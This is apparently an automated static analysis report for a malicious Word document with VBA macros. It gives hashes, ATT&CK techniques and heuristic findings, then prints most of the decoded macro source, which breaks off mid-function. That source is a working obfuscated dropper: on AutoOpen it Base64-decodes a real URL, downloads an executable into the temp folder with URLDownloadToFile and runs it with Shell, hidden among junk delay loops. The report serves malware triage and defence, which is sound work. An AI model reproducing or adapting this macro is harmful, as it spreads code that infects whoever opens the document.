Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6da9402125d3bb9d…

MALICIOUS

Office (OLE)

83.0 KB Created: 2015-01-19 09:54:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: 770d6b25accb9cdc1b7f3421d9e5d201 SHA-1: ff312bb72221719bac91d03b5003fd95150a06bd SHA-256: 6da9402125d3bb9d2cd6fe56a50d0a1bcadf5226419f2b9f9e607ffe5c3497ed
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office Word document containing VBA macros. The macros utilize the URLDownloadToFile API to download a file from the URL 'http://drevenak.cz/js/bin.exe' and save it to the temporary directory. The presence of AutoOpen and Shell calls, along with the critical heuristic firings for URLDownloadToFile and potential Shell calls, strongly indicates a downloader or droppper functionality.

Heuristics 9

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        pHJdfgfdgf = Shell(oH77vHsdf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA"  (ByVal pCaller As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
     hoFNs0vp oKT4IIAP("aHR0cDovL2RyZXZlbmFrLmN6L2pzL2Jpbi5leGU="), Environ(oKT4IIAP("VE1Q")) & oKT4IIAP("XEdZSGprc2RmLmV4ZQ==")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24351 bytes
SHA-256: 9a46e20b84abb8ef94451d68375e7ab6aa18af5cd5b060139641bb0db85b7730
Detection
ClamAV: No threats found
Obfuscation or payload: likely
145 of 209 identifiers look randomly generated (e.g. 'aHR0cDovL2RyZXZlbmFrLmN6L2pzL2Jpbi5leGU') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function enV Lib "urlmon" Alias _
    "URLDownloadToFileA"  (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function enV Lib "urlmon" Alias _
     "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If
Private aDecTab(255) As Integer
Sub PNnm5AnA3OU()
 dySN7Af
Dim JdQMsBB As Integer
JdQMsBB = 2060
Do While JdQMsBB < 2060 + 10
JdQMsBB = JdQMsBB + 1: DoEvents
Loop
Dim lnfEhLJs As Integer
lnfEhLJs = 399
Do While lnfEhLJs < 399 + 10
lnfEhLJs = lnfEhLJs + 1: DoEvents
Loop
End Sub
Sub fPafY()
     PNnm5AnA3OU
Dim gySmgVBKLJO As Integer
gySmgVBKLJO = 2397
Do While gySmgVBKLJO < 2397 + 10
gySmgVBKLJO = gySmgVBKLJO + 1: DoEvents
Loop
Dim ISqlOQwDQe As Integer
ISqlOQwDQe = 610
Do While ISqlOQwDQe < 610 + 10
ISqlOQwDQe = ISqlOQwDQe + 1: DoEvents
Loop
End Sub
Sub autoopen()
     PNnm5AnA3OU
Dim TNDjssrvh As Integer
TNDjssrvh = 1341
Do While TNDjssrvh < 1341 + 10
TNDjssrvh = TNDjssrvh + 1: DoEvents
Loop
Dim ZFLfndIDECHs As Integer
ZFLfndIDECHs = 445
Do While ZFLfndIDECHs < 445 + 10
ZFLfndIDECHs = ZFLfndIDECHs + 1: DoEvents
Loop
End Sub
Sub dySN7Af()
 hoFNs0vp oKT4IIAP("aHR0cDovL2RyZXZlbmFrLmN6L2pzL2Jpbi5leGU="), Environ(oKT4IIAP("VE1Q")) & oKT4IIAP("XEdZSGprc2RmLmV4ZQ==")
Dim ZjeHQqJdYMs As Integer
ZjeHQqJdYMs = 587
Do While ZjeHQqJdYMs < 587 + 10
ZjeHQqJdYMs = ZjeHQqJdYMs + 1: DoEvents
Loop
Dim ivFoocc As Integer
ivFoocc = 1574
Do While ivFoocc < 1574 + 10
ivFoocc = ivFoocc + 1: DoEvents
Loop
End Sub
Function hoFNs0vp(iGHVHJfdg As String, oH77vHsdf As String) As Boolean
    vJHKBJdfkgfg = enV(0&, iGHVHJfdg, oH77vHsdf, 0&, 0&)
Dim oOlkLtKxB As Integer
oOlkLtKxB = 539
Do While oOlkLtKxB < 539 + 10
oOlkLtKxB = oOlkLtKxB + 1: DoEvents
Loop
Dim pJArEOxxl As Integer
pJArEOxxl = 2282
Do While pJArEOxxl < 2282 + 10
pJArEOxxl = pJArEOxxl + 1: DoEvents
Loop
   Dim pHJdfgfdgf
Dim YxMEpQ As Integer
YxMEpQ = 1408
Do While YxMEpQ < 1408 + 10
YxMEpQ = YxMEpQ + 1: DoEvents
Loop
Dim yxNDGxQzecKy As Integer
yxNDGxQzecKy = 1941
Do While yxNDGxQzecKy < 1941 + 10
yxNDGxQzecKy = yxNDGxQzecKy + 1: DoEvents
Loop
    pHJdfgfdgf = Shell(oH77vHsdf, 1)
Dim ABzEqjq As Integer
ABzEqjq = 1502
Do While ABzEqjq < 1502 + 10
ABzEqjq = ABzEqjq + 1: DoEvents
Loop
Dim oYjplwNcklv As Integer
oYjplwNcklv = 2116
Do While oYjplwNcklv < 2116 + 10
oYjplwNcklv = oYjplwNcklv + 1: DoEvents
Loop
End Function

Public Function oKT4IIAP(sEncoded As String) As String
Dim cPcL1O5Ym As String
Dim wqIFdyQd As Integer
wqIFdyQd = 1601
Do While wqIFdyQd < 1601 + 10
wqIFdyQd = wqIFdyQd + 1: DoEvents
Loop
Dim sVYEKemb As Integer
sVYEKemb = 2119
Do While sVYEKemb < 2119 + 10
sVYEKemb = sVYEKemb + 1: DoEvents
Loop
Dim d(3) As Byte
Dim BtRhaJsu As Integer
BtRhaJsu = 856
Do While BtRhaJsu < 856 + 10
BtRhaJsu = BtRhaJsu + 1: DoEvents
Loop
Dim cQlcSgqZ As Integer
cQlcSgqZ = 1596
Do While cQlcSgqZ < 1596 + 10
cQlcSgqZ = cQlcSgqZ + 1: DoEvents
Loop
Dim C As Byte
Dim iKPdnIVJvQt As Integer
iKPdnIVJvQt = 1948
Do While iKPdnIVJvQt < 1948 + 10
iKPdnIVJvQt = iKPdnIVJvQt + 1: DoEvents
Loop
Dim wGMIUlmHJSq As Integer
wGMIUlmHJSq = 1484
Do While wGMIUlmHJSq < 1484 + 10
wGMIUlmHJSq = wGMIUlmHJSq + 1: DoEvents
Loop
Dim di As Integer
Dim hBGOEkttsTahLZYos As Integer
hBGOEkttsTahLZYos = 348
Do While hBGOEkttsTahLZYos < 348 + 10
hBGOEkttsTahLZYos = hBGOEkttsTahLZYos + 1: DoEvents
Loop
Dim rwtEHQstCMHATnGBqzAyDoho As Integer
rwtEHQstCMHATnGBqzAyDoho = 2067
Do While rwtEHQstCMHATnGBqzAyDoho < 2067 + 10
rwtEHQstCMHATnGBqzAyDoho = rwtEHQstCMHATnGBqzAyDoho + 1: DoEvents
Loop
Dim i As Long
Dim ucQlcSgq As Integer
ucQlcSgq = 1763
Do While ucQlcSgq < 1763 + 10
ucQlcSgq = ucQlcSgq + 1: DoEvents
Loop
Dim JjJUOheAQnjvLbwkt As Integer
JjJUOheAQnjvLbwkt = 247
Do While JjJUOheAQnjvLbwkt < 247 + 10
JjJUOheAQnjvLbwkt = JjJUOheAQnjvLbwkt + 1: DoEvents
Loop
Dim kqIPhE As Long
Dim eTzuvtykdkOp As Integer
eTzuvtykdkOp = 2183
Do While eTzuvtykdkOp < 2183 + 10
eTzuvtykdkOp = eTzuvtykdkOp + 1: DoEvents
Loop
Dim oCzivU As Integer
oCzivU = 1962
Do While oCzivU < 1962 + 10
oCzivU = oCzivU + 1: DoEvents
Loop
Dim Aef8Epoff As Long
Dim JeTKZjRRErSo As Integer
JeTKZjRRErSo = 711
Do While JeTKZjRRErSo < 711 + 10
JeTKZjRRErSo = JeTKZjRRErSo + 1: DoEvents
Loop
Dim agcnESbcmJE As Integer
agcnESbcmJE = 1095
Do While agcnESbcmJE < 1095 + 10
agcnESbcmJE = agcnESbcmJE + 1: DoEvents
Loop
kqIPhE = Len(sEncoded)
Dim lMjiJrIv As Integer
lMjiJrIv = 655
Do While lMjiJrIv < 655 + 10
lMjiJrIv = lMjiJrIv + 1: DoEvents
Loop
Dim JUaQi As Integer
JUaQi = 455
Do While JUaQi < 455 + 10
JUaQi = JUaQi + 1: DoEvents
Loop
cPcL1O5Ym = String((kqIPhE \ 4) * 3, " ")
Dim sUZnxSgSFhCB As Integer
sUZnxSgSFhCB = 593
Do While sUZnxSgSFhCB < 593 + 10
sUZnxSgSFhCB = sUZnxSgSFhCB + 1: DoEvents
Loop
Dim pqzYEixekDLB As Integer
pqzYEixekDLB = 2086
Do While pqzYEixekDLB < 2086 + 10
pqzYEixekDLB = pqzYEixekDLB + 1: DoEvents
Loop
Aef8Epoff = 0
Dim HJqKP As Integer
HJqKP = 176
Do While HJqKP < 176 + 10
HJqKP = HJqKP + 1: DoEvents
Loop
Dim kpaSaEQhknf As Integer
kpaSaEQhknf = 560
Do While kpaSaEQhknf < 560 + 10
kpaSaEQhknf = kpaSaEQhknf + 1: DoEvents
Loop
di = 0
Dim wgNQlNRgc As Integer
wgNQlNRgc = 857
Do While wgNQlNRgc < 857 + 10
wgNQlNRgc = wgNQlNRgc + 1: DoEvents
Loop
Dim HBTQnIhnjv As Integer
HBTQnIhnjv = 1775
Do While HBTQnIhnjv < 1775 + 10
HBTQnIhnjv = HBTQnIhnjv + 1: DoEvents
Loop
Call WyfUTJJ
Dim ZqQqBvNxTOUQctHPQb As Integer
ZqQqBvNxTOUQctHPQb = 732
Do While ZqQqBvNxTOUQctHPQb < 732 + 10
ZqQqBvNxTOUQctHPQb = ZqQqBvNxTOUQctHPQb + 1: DoEvents
Loop
Dim VazolfuQnLRNZc As Integer
VazolfuQnLRNZc = 2031
Do While VazolfuQnLRNZc < 2031 + 10
VazolfuQnLRNZc = VazolfuQnLRNZc + 1: DoEvents
Loop
' Read in each char in trun
Dim tUoTsJ As Integer
tUoTsJ = 686
Do While tUoTsJ < 686 + 10
tUoTsJ = tUoTsJ + 1: DoEvents
Loop
Dim TRQIBInzzOSV As Integer
TRQIBInzzOSV = 1037
Do While TRQIBInzzOSV < 1037 + 10
TRQIBInzzOSV = TRQIBInzzOSV + 1: DoEvents
Loop
For i = 1 To Len(sEncoded)
Dim mavlcqAjj As Integer
mavlcqAjj = 1964
Do While mavlcqAjj < 1964 + 10
mavlcqAjj = mavlcqAjj + 1: DoEvents
Loop
Dim SsSeYqnKgEw As Integer
SsSeYqnKgEw = 1049
Do While SsSeYqnKgEw < 1049 + 10
SsSeYqnKgEw = SsSeYqnKgEw + 1: DoEvents
Loop
C = CByte(Asc(Mid(sEncoded, i, 1)))
Dim hdoFG As Integer
hdoFG = 1315
Do While hdoFG < 1315 + 10
hdoFG = hdoFG + 1: DoEvents
Loop
Dim YPMYpDZMV As Integer
YPMYpDZMV = 1951
Do While YPMYpDZMV < 1951 + 10
YPMYpDZMV = YPMYpDZMV + 1: DoEvents
Loop
C = aDecTab(C)
Dim lGHQoV As Integer
lGHQoV = 1195
Do While lGHQoV < 1195 + 10
lGHQoV = lGHQoV + 1: DoEvents
Loop
Dim qpuQYfJ As Integer
qpuQYfJ = 2130
Do While qpuQYfJ < 2130 + 10
qpuQYfJ = qpuQYfJ + 1: DoEvents
Loop
If C >= 0 Then
Dim LOGfInQSHcJQhPPDpQnzN As Integer
LOGfInQSHcJQhPPDpQnzN = 1381
Do While LOGfInQSHcJQhPPDpQnzN < 1381 + 10
LOGfInQSHcJQhPPDpQnzN = LOGfInQSHcJQhPPDpQnzN + 1: DoEvents
Loop
Dim FYGdMYealC As Integer
FYGdMYealC = 1956
Do While FYGdMYealC < 1956 + 10
FYGdMYealC = FYGdMYealC + 1: DoEvents
Loop
d(di) = C
Dim dkOcbr As Integer
dkOcbr = 1923
Do While dkOcbr < 1923 + 10
dkOcbr = dkOcbr + 1: DoEvents
Loop
Dim cfVvYDjYsiZnxgg As Integer
cfVvYDjYsiZnxgg = 248
Do While cfVvYDjYsiZnxgg < 248 + 10
cfVvYDjYsiZnxgg = cfVvYDjYsiZnxgg + 1: DoEvents
Loop
di = di + 1
Dim IaLPqcVolHdBuqBS As Integer
IaLPqcVolHdBuqBS = 2296
Do While IaLPqcVolHdBuqBS < 2296 + 10
IaLPqcVolHdBuqBS = IaLPqcVolHdBuqBS + 1: DoEvents
Loop
Dim ajHoRhNTnvlQ As Integer
ajHoRhNTnvlQ = 1380
Do While ajHoRhNTnvlQ < 1380 + 10
ajHoRhNTnvlQ = ajHoRhNTnvlQ + 1: DoEvents
Loop
If di = 4 Then
Dim pRlQo As Integer
pRlQo = 91
Do While pRlQo < 91 + 10
pRlQo = pRlQo + 1: DoEvents
Loop
Dim qqdPqMaoUn As Integer
qqdPqMaoUn = 2003
Do While qqdPqMaoUn < 2003 + 10
qqdPqMaoUn = qqdPqMaoUn + 1: DoEvents
Loop
Mid$(cPcL1O5Ym, Aef8Epoff + 1, 3) = NBdOLd(d)
Dim zbvayPq As Integer
zbvayPq = 1209
Do While zbvayPq < 1209 + 10
zbvayPq = zbvayPq + 1: DoEvents
Loop
Dim FJMEdGl As Integer
FJMEdGl = 2376
Do While FJMEdGl < 2376 + 10
FJMEdGl = FJMEdGl + 1: DoEvents
Loop
Aef8Epoff = Aef8Epoff + 3
Dim Zptvn As Integer
Zptvn = 859
Do While Zptvn < 859 + 10
Zptvn = Zptvn + 1: DoEvents
Loop
Dim fVMalTSGsT As Integer
fVMalTSGsT = 1471
Do While fVMalTSGsT < 1471 + 10
fVMalTSGsT = fVMalTSGsT + 1: DoEvents
Loop
If d(3) = 64 Then
Dim vzNKtGggHPc As Integer
vzNKtGggHPc = 580
Do While vzNKtGggHPc < 580 + 10
vzNKtGggHPc = vzNKtGggHPc + 1: DoEvents
Loop
Dim qEOxxkQyT As Integer
qEOxxkQyT = 1827
Do While qEOxxkQyT < 1827 + 10
qEOxxkQyT = qEOxxkQyT + 1: DoEvents
Loop
cPcL1O5Ym = Left(cPcL1O5Ym, Len(cPcL1O5Ym) - 1)
Dim RmOSheMazzbvYrQvM As Integer
RmOSheMazzbvYrQvM = 2401
Do While RmOSheMazzbvYrQvM < 2401 + 10
RmOSheMazzbvYrQvM = RmOSheMazzbvYrQvM + 1: DoEvents
Loop
Dim CQbJJwjKht As Integer
CQbJJwjKht = 747
Do While CQbJJwjKht < 747 + 10
CQbJJwjKht = CQbJJwjKht + 1: DoEvents
Loop
Aef8Epoff = Aef8Epoff - 1
Dim NNMQCIPhHGQ As Integer
NNMQCIPhHGQ = 474
Do While NNMQCIPhHGQ < 474 + 10
NNMQCIPhHGQ = NNMQCIPhHGQ + 1: DoEvents
Loop
Dim HdqdPrNL As Integer
HdqdPrNL = 304
Do While HdqdPrNL < 304 + 10
HdqdPrNL = HdqdPrNL + 1: DoEvents
Loop
End If
Dim KiOsHovNV As Integer
KiOsHovNV = 785
Do While KiOsHovNV < 785 + 10
KiOsHovNV = KiOsHovNV + 1: DoEvents
Loop
Dim EzdeKf As Integer
EzdeKf = 1684
Do While EzdeKf < 1684 + 10
EzdeKf = EzdeKf + 1: DoEvents
Loop
If d(2) = 64 Then
Dim IoYTIdJYiQQDqQnAOw As Integer
IoYTIdJYiQQDqQnAOw = 1485
Do While IoYTIdJYiQQDqQnAOw < 1485 + 10
IoYTIdJYiQQDqQnAOw = IoYTIdJYiQQDqQnAOw + 1: DoEvents
Loop
Dim KiAaA As Integer
KiAaA = 1202
Do While KiAaA < 1202 + 10
KiAaA = KiAaA + 1: DoEvents
Loop
cPcL1O5Ym = Left(cPcL1O5Ym, Len(cPcL1O5Ym) - 1)
Dim QEVHMmaYRk As Integer
QEVHMmaYRk = 1194
Do While QEVHMmaYRk < 1194 + 10
QEVHMmaYRk = QEVHMmaYRk + 1: DoEvents
Loop
Dim nQhnjvLbikt As Integer
nQhnjvLbikt = 311
Do While nQhnjvLbikt < 311 + 10
nQhnjvLbikt = nQhnjvLbikt + 1: DoEvents
Loop
Aef8Epoff = Aef8Epoff - 1
Dim zcJbMQqQc As Integer
zcJbMQqQc = 1893
Do While zcJbMQqQc < 1893 + 10
zcJbMQqQc = zcJbMQqQc + 1: DoEvents
Loop
Dim VDsMCtHRAAnn As Integer
VDsMCtHRAAnn = 958
Do While VDsMCtHRAAnn < 958 + 10
VDsMCtHRAAnn = VDsMCtHRAAnn + 1: DoEvents
Loop
End If
Dim AwHZoJxGeZ As Integer
AwHZoJxGeZ = 324
Do While AwHZoJxGeZ < 324 + 10
AwHZoJxGeZ = AwHZoJxGeZ + 1: DoEvents
Loop
Dim phGjNyt As Integer
phGjNyt = 114
Do While phGjNyt < 114 + 10
phGjNyt = phGjNyt + 1: DoEvents
Loop
di = 0
Dim nMMox As Integer
nMMox = 1032
Do While nMMox < 1032 + 10
nMMox = nMMox + 1: DoEvents
Loop
Dim uEzdsL As Integer
uEzdsL = 1375
Do While uEzdsL < 1375 + 10
uEzdsL = uEzdsL + 1: DoEvents
Loop
End If
Dim QRczuYaFMg As Integer
QRczuYaFMg = 841
Do While QRczuYaFMg < 841 + 10
QRczuYaFMg = QRczuYaFMg + 1: DoEvents
Loop
Dim NPZjdGQ As Integer
NPZjdGQ = 149
Do While NPZjdGQ < 149 + 10
NPZjdGQ = NPZjdGQ + 1: DoEvents
Loop
End If
Dim vSNrta As Integer
vSNrta = 2282
Do While vSNrta < 2282 + 10
vSNrta = vSNrta + 1: DoEvents
Loop
Dim OidRxGHF As Integer
OidRxGHF = 1744
Do While OidRxGHF < 1744 + 10
OidRxGHF = OidRxGHF + 1: DoEvents
Loop
Next i
Dim BBooPYlMgLkNBztLIfOa As Integer
BBooPYlMgLkNBztLIfOa = 2375
Do While BBooPYlMgLkNBztLIfOa < 2375 + 10
BBooPYlMgLkNBztLIfOa = BBooPYlMgLkNBztLIfOa + 1: DoEvents
Loop
Dim TIoxywBZfm As Integer
TIoxywBZfm = 413
Do While TIoxywBZfm < 413 + 10
TIoxywBZfm = TIoxywBZfm + 1: DoEvents
Loop
 oKT4IIAP = cPcL1O5Ym
Dim hglVOV As Integer
hglVOV = 225
Do While hglVOV < 225 + 10
hglVOV = hglVOV + 1: DoEvents
Loop
Dim RQhknfESL As Integer
RQhknfESL = 2168
Do While RQhknfESL < 2168 + 10
RQhknfESL = RQhknfESL + 1: DoEvents
Loop
End Function
Private Function NBdOLd(d() As Byte) As String
Dim D4JRvGmLt As String
Dim PsQHDrM As Integer
PsQHDrM = 146
Do While PsQHDrM < 146 + 10
PsQHDrM = PsQHDrM + 1: DoEvents
Loop
Dim mqEAkxQQxG As Integer
mqEAkxQQxG = 876
Do While mqEAkxQQxG < 876 + 10
mqEAkxQQxG = mqEAkxQQxG + 1: DoEvents
Loop
Dim C As Long
Dim xTsyu As Integer
xTsyu = 480
Do While xTsyu < 480 + 10
xTsyu = xTsyu + 1: DoEvents
Loop
Dim eRndTisb As Integer
eRndTisb = 1376
Do While eRndTisb < 1376 + 10
eRndTisb = eRndTisb + 1: DoEvents
Loop
D4JRvGmLt = vbNullString
Dim utVDUGKkKVPi As Integer
utVDUGKkKVPi = 1759
Do While utVDUGKkKVPi < 1759 + 10
utVDUGKkKVPi = utVDUGKkKVPi + 1: DoEvents
Loop
Dim GTvOuSkw As Integer
GTvOuSkw = 2053
Do While GTvOuSkw < 2053 + 10
GTvOuSkw = GTvOuSkw + 1: DoEvents
Loop
C = gmhjMi(d(0)) Or (RgmEL5K(d(1)) And &H3)
Dim QwLEo As Integer
QwLEo = 1297
Do While QwLEo < 1297 + 10
QwLEo = QwLEo + 1: DoEvents
Loop
Dim SvbYGuPF As Integer
SvbYGuPF = 1881
Do While SvbYGuPF < 1881 + 10
SvbYGuPF = SvbYGuPF + 1: DoEvents
Loop
D4JRvGmLt = D4JRvGmLt & Chr$(C)
Dim dswzr As Integer
dswzr = 2422
Do While dswzr < 2422 + 10
dswzr = dswzr + 1: DoEvents
Loop
Dim MsPiuifZ As Integer
MsPiuifZ = 1981
Do While MsPiuifZ < 1981 + 10
MsPiuifZ = MsPiuifZ + 1: DoEvents
Loop
C = RpXvuVUL(d(1) And &HF) Or (clSq4EnJFIl(d(2)) And &HF)
Dim UjFsCaUyz As Integer
UjFsCaUyz = 1789
Do While UjFsCaUyz < 1789 + 10
UjFsCaUyz = UjFsCaUyz + 1: DoEvents
Loop
Dim COCztL As Integer
COCztL = 789
Do While COCztL < 789 + 10
COCztL = COCztL + 1: DoEvents
Loop
D4JRvGmLt = D4JRvGmLt & Chr$(C)
Dim BxJbpKyHfa As Integer
BxJbpKyHfa = 126
Do While BxJbpKyHfa < 126 + 10
BxJbpKyHfa = BxJbpKyHfa + 1: DoEvents
Loop
Dim ityvGYZu As Integer
ityvGYZu = 1299
Do While ityvGYZu < 1299 + 10
ityvGYZu = ityvGYZu + 1: DoEvents
Loop
C = pPVPR(d(2) And &H3) Or d(3)
Dim TuFzROmH As Integer
TuFzROmH = 312
Do While TuFzROmH < 312 + 10
TuFzROmH = TuFzROmH + 1: DoEvents
Loop
Dim ajGoRhNTnvlQLKPAtAfFrH As Integer
ajGoRhNTnvlQLKPAtAfFrH = 153
Do While ajGoRhNTnvlQLKPAtAfFrH < 153 + 10
ajGoRhNTnvlQLKPAtAfFrH = ajGoRhNTnvlQLKPAtAfFrH + 1: DoEvents
Loop
D4JRvGmLt = D4JRvGmLt & Chr$(C)
Dim UTkoqiHQOz As Integer
UTkoqiHQOz = 792
Do While UTkoqiHQOz < 792 + 10
UTkoqiHQOz = UTkoqiHQOz + 1: DoEvents
Loop
Dim zjiVHjF As Integer
zjiVHjF = 1310
Do While zjiVHjF < 1310 + 10
zjiVHjF = zjiVHjF + 1: DoEvents
Loop
 NBdOLd = D4JRvGmLt
Dim VFoqK As Integer
VFoqK = 753
Do While VFoqK < 753 + 10
VFoqK = VFoqK + 1: DoEvents
Loop
Dim hYOcmUUIuVsSARDHiVSM As Integer
hYOcmUUIuVsSARDHiVSM = 702
Do While hYOcmUUIuVsSARDHiVSM < 702 + 10
hYOcmUUIuVsSARDHiVSM = hYOcmUUIuVsSARDHiVSM + 1: DoEvents
Loop
End Function
Private Function WyfUTJJ()
Dim t As Integer
Dim IiiIReGa As Integer
IiiIReGa = 600
Do While IiiIReGa < 600 + 10
IiiIReGa = IiiIReGa + 1: DoEvents
Loop
Dim JsrfQsOb As Integer
JsrfQsOb = 1144
Do While JsrfQsOb < 1144 + 10
JsrfQsOb = JsrfQsOb + 1: DoEvents
Loop
Dim C As Integer
Dim QUjfOcBdlxatZwOo As Integer
QUjfOcBdlxatZwOo = 2012
Do While QUjfOcBdlxatZwOo < 2012 + 10
QUjfOcBdlxatZwOo = QUjfOcBdlxatZwOo + 1: DoEvents
Loop
Dim YMJDVSpL As Integer
YMJDVSpL = 1810
Do While YMJDVSpL < 1810 + 10
YMJDVSpL = YMJDVSpL + 1: DoEvents
Loop
For C = 0 To 255
Dim MlCdCN As Integer
MlCdCN = 1223
Do While MlCdCN < 1223 + 10
MlCdCN = MlCdCN + 1: DoEvents
Loop
Dim LaGZKOod As Integer
LaGZKOod = 992
Do While LaGZKOod < 992 + 10
LaGZKOod = LaGZKOod + 1: DoEvents
Loop
aDecTab(C) = -1
Dim rxtEVk As Integer
rxtEVk = 561
Do While rxtEVk < 561 + 10
rxtEVk = rxtEVk + 1: DoEvents
Loop
Dim NHaQtOotqBE As Integer
NHaQtOotqBE = 1713
Do While NHaQtOotqBE < 1713 + 10
NHaQtOotqBE = NHaQtOotqBE + 1: DoEvents
Loop
Next
Dim PLYpDLMVto As Integer
PLYpDLMVto = 1033
Do While PLYpDLMVto < 1033 + 10
PLYpDLMVto = PLYpDLMVto + 1: DoEvents
Loop
Dim YnIJSdYBQkDQ As Integer
YnIJSdYBQkDQ = 909
Do While YnIJSdYBQkDQ < 909 + 10
YnIJSdYBQkDQ = YnIJSdYBQkDQ + 1: DoEvents
Loop
t = 0
Dim VefpMHkmSZ As Integer
VefpMHkmSZ = 1032
Do While VefpMHkmSZ < 1032 + 10
VefpMHkmSZ = VefpMHkmSZ + 1: DoEvents
Loop
Dim AtAfsrHLNFf As Integer
AtAfsrHLNFf = 1544
Do While AtAfsrHLNFf < 1544 + 10
AtAfsrHLNFf = AtAfsrHLNFf + 1: DoEvents
Loop
For C = Asc("A") To Asc("Z")
Dim IGodx As Integer
IGodx = 2194
Do While IGodx < 2194 + 10
IGodx = IGodx + 1: DoEvents
Loop
Dim ehZxM As Integer
ehZxM = 330
Do While ehZxM < 330 + 10
ehZxM = ehZxM + 1: DoEvents
Loop
aDecTab(C) = t
Dim KADvTxca As Integer
KADvTxca = 693
Do While KADvTxca < 693 + 10
KADvTxca = KADvTxca + 1: DoEvents
Loop
Dim VwHBTQnI As Integer
VwHBTQnI = 7
Do While VwHBTQnI < 7 + 10
VwHBTQnI = VwHBTQnI + 1: DoEvents
Loop
t = t + 1
Dim xTDOUQctu As Integer
xTDOUQctu = 1437
Do While xTDOUQctu < 1437 + 10
xTDOUQctu = xTDOUQctu + 1: DoEvents
Loop
Dim bvAIyennrNUcGT As Integer
bvAIyennrNUcGT = 90
Do While bvAIyennrNUcGT < 90 + 10
bvAIyennrNUcGT = bvAIyennrNUcGT + 1: DoEvents
Loop
Next
Dim IuyZMKETqLkqmyBQmnw As Integer
IuyZMKETqLkqmyBQmnw = 882
Do While IuyZMKETqLkqmyBQmnw < 882 + 10
IuyZMKETqLkqmyBQmnw = IuyZMKETqLkqmyBQmnw + 1: DoEvents
Loop
Dim OIbJhQbhdFUcenKF As Integer
OIbJhQbhdFUcenKF = 2318
Do While OIbJhQbhdFUcenKF < 2318 + 10
OIbJhQbhdFUcenKF = OIbJhQbhdFUcenKF + 1: DoEvents
Loop
For C = Asc("a") To Asc("z")
Dim NLQBuBgtsIL As Integer
NLQBuBgtsIL = 1086
Do While NLQBuBgtsIL < 1086 + 10
NLQBuBgtsIL = NLQBuBgtsIL + 1: DoEvents
Loop
Dim bSrUzxfTofVj As Integer
bSrUzxfTofVj = 1316
Do While bSrUzxfTofVj < 1316 + 10
bSrUzxfTofVj = bSrUzxfTofVj + 1: DoEvents
Loop
aDecTab(C) = t
Dim DKpCBRUYPp As Integer
DKpCBRUYPp = 2397
Do While DKpCBRUYPp < 2397 + 10
DKpCBRUYPp = DKpCBRUYPp + 1: DoEvents
Loop
Dim yQdQNaQueouqCST As Integer
yQdQNaQueouqCST = 1426
Do While yQdQNaQueouqCST < 1426 + 10
yQdQNaQueouqCST = yQdQNaQueouqCST + 1: DoEvents
Loop
t = t + 1
Dim MZpEaNQupSU As Integer
MZpEaNQupSU = 2072
Do While MZpEaNQupSU < 2072 + 10
MZpEaNQupSU = MZpEaNQupSU + 1: DoEvents
Loop
Dim HnijhmYQYCd As Integer
HnijhmYQYCd = 2390
Do While HnijhmYQYCd < 2390 + 10
HnijhmYQYCd = HnijhmYQYCd + 1: DoEvents
Loop
Next
Dim UyLKbfhZyNFYavYcqm As Integer
UyLKbfhZyNFYavYcqm = 2055
Do While UyLKbfhZyNFYavYcqm < 2055 + 10
UyLKbfhZyNFYavYcqm = UyLKbfhZyNFYavYcqm + 1: DoEvents
Loop
Dim SHcRIQhPPCpQ As Integer
SHcRIQhPPCpQ = 1394
Do While SHcRIQhPPCpQ < 1394 + 10
SHcRIQhPPCpQ = SHcRIQhPPCpQ + 1: DoEvents
Loop
For C = Asc("0") To Asc("9")
Dim UlorjHQPzikE As Integer
UlorjHQPzikE = 1179
Do While UlorjHQPzikE < 1179 + 10
UlorjHQPzikE = UlorjHQPzikE + 1: DoEvents
Loop
Dim IkGShOgRVvkh As Integer
IkGShOgRVvkh = 1791
Do While IkGShOgRVvkh < 1791 + 10
IkGShOgRVvkh = IkGShOgRVvkh + 1: DoEvents
Loop
aDecTab(C) = t
Dim eYqawgrxtEVk As Integer
eYqawgrxtEVk = 1637
Do While eYqawgrxtEVk < 1637 + 10
eYqawgrxtEVk = eYqawgrxtEVk + 1: DoEvents
Loop
Dim yQNkGflhs As Integer
yQNkGflhs = 1588
Do While yQNkGflhs < 1588 + 10
